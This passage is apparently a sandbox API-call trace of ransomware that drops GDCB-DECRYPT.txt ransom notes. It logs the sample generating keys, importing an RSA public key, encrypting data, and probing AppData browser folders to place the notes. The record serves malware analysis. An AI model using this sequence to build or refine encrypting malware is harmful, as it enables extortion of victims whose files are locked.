(lpString1="UsrClass.dat", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.514] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\usrclass.dat")) returned 0xffffffff [0170.514] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat", dwFileAttributes=0xfffffffe) returned 0 [0170.514] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0170.515] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.515] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.515] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0170.515] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.515] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0170.516] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.516] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.516] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0170.516] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.516] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0170.518] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5f5e30) returned 1 [0170.518] CryptGetKeyParam (in: hKey=0x5f5e30, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0170.518] CryptEncrypt (in: hKey=0x5f5e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2910000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2910000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0170.518] GetLastError () returned 0x0 [0170.518] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0170.518] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0170.520] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5f5c30) returned 1 [0170.520] CryptGetKeyParam (in: hKey=0x5f5c30, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0170.520] CryptEncrypt (in: hKey=0x5f5c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2920000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2920000*, pdwDataLen=0x285d120*=0x100) returned 1 [0170.520] GetLastError () returned 0x0 [0170.520] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.520] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\usrclass.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.520] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat.LOG1") returned 275 [0170.521] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat.LOG1") returned 275 [0170.521] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat.LOG2") returned 275 [0170.521] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat.LOG2") returned 275 [0170.521] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat{02173fa4-3c19-11e7-9bc4-c40142ecde47}.TM.blf") returned 315 [0170.521] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat{02173fa4-3c19-11e7-9bc4-c40142ecde47}.TM.blf") returned 315 [0170.521] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat{02173fa4-3c19-11e7-9bc4-c40142ecde47}.TMContainer00000000000000000001.regtrans-ms") returned 352 [0170.521] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat{02173fa4-3c19-11e7-9bc4-c40142ecde47}.TMContainer00000000000000000001.regtrans-ms") returned 352 [0170.521] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat{02173fa4-3c19-11e7-9bc4-c40142ecde47}.TMContainer00000000000000000002.regtrans-ms") returned 352 [0170.521] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat{02173fa4-3c19-11e7-9bc4-c40142ecde47}.TMContainer00000000000000000002.regtrans-ms") returned 352 [0170.521] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.521] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.521] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.521] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.521] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\\\GDCB-DECRYPT.txt") returned 284 [0170.521] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.521] GetLastError () returned 0x3 [0170.521] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCacheLock.dat") returned 274 [0170.521] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCacheLock.dat") returned 274 [0170.521] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.521] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.521] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.521] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.522] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Windows Anytime Upgrade\\\\GDCB-DECRYPT.txt") returned 299 [0170.522] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Windows Anytime Upgrade\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\windows anytime upgrade\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.522] GetLastError () returned 0x3 [0170.522] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.522] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.522] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.522] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.522] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WinX\\\\GDCB-DECRYPT.txt") returned 280 [0170.522] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WinX\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\winx\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.522] GetLastError () returned 0x3 [0170.522] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.522] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.522] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.522] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.522] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Live\\\\GDCB-DECRYPT.txt") returned 280 [0170.522] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Live\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows live\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.522] GetLastError () returned 0x3 [0170.522] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.522] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.522] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.522] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.522] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\\\GDCB-DECRYPT.txt") returned 283 [0170.522] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.522] GetLastError () returned 0x3 [0170.522] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.522] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.522] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.522] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.523] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge\\\\GDCB-DECRYPT.txt") returned 271 [0170.523] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoftedge\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.523] GetLastError () returned 0x3 [0170.524] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.524] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.524] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.524] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.524] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge\\SharedCacheContainers\\\\GDCB-DECRYPT.txt") returned 293 [0170.524] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge\\SharedCacheContainers\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoftedge\\sharedcachecontainers\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.524] GetLastError () returned 0x3 [0170.524] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.524] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.524] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.524] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.524] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge\\User\\\\GDCB-DECRYPT.txt") returned 276 [0170.524] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge\\User\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoftedge\\user\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.524] GetLastError () returned 0x3 [0170.524] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.524] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.524] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.524] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.524] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\\\GDCB-DECRYPT.txt") returned 265 [0170.524] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.525] GetLastError () returned 0x3 [0170.525] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.525] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.525] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.525] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.526] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\\\GDCB-DECRYPT.txt") returned 273 [0170.526] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.526] GetLastError () returned 0x3 [0170.526] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\postSigningData") returned 271 [0170.526] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\postSigningData") returned 271 [0170.526] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.526] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.526] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.526] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.526] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\\\GDCB-DECRYPT.txt") returned 282 [0170.526] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and 